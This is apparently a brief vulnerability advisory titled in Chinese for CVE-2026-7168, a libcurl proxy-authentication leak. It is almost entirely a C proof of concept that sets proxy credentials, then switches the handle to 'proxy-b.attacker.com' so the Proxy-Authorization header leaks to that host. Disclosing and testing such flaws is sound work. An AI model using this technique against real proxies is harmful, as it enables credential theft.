CVE-2026-7168 libcurl代理认证信息泄露漏洞

#include <stdio.h> #include <curl/curl.h> int main(void) { CURL *curl; CURLcode res; curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if(curl) { // Target URL curl_easy_setopt(curl, CURLOPT_URL, "http://example.com/data"); // Step 1: Use Proxy A with Digest Authentication curl_easy_setopt(curl, CURLOPT_PROXY, "http://proxy-a.internal:8080"); curl_easy_setopt(curl, CURLOPT_PROXYUSERPWD, "admin:secret"); curl_easy_setopt(curl, CURLOPT_PROXYAUTH, CURLAUTH_DIGEST); // Perform first request res = curl_easy_perform(curl); if(res != CURLE_OK) fprintf(stderr, "Request failed: %s\n", curl_easy_strerror(res)); // Step 2: Change to Proxy B reusing the same handle // Vulnerability: The Proxy-Authorization header for Proxy A is sent to Proxy B curl_easy_setopt(curl, CURLOPT_PROXY, "http://proxy-b.attacker.com:8080"); // Perform second request res = curl_easy_perform(curl); if(res != CURLE_OK) fprintf(stderr, "Request failed: %s\n", curl_easy_strerror(res)); curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; }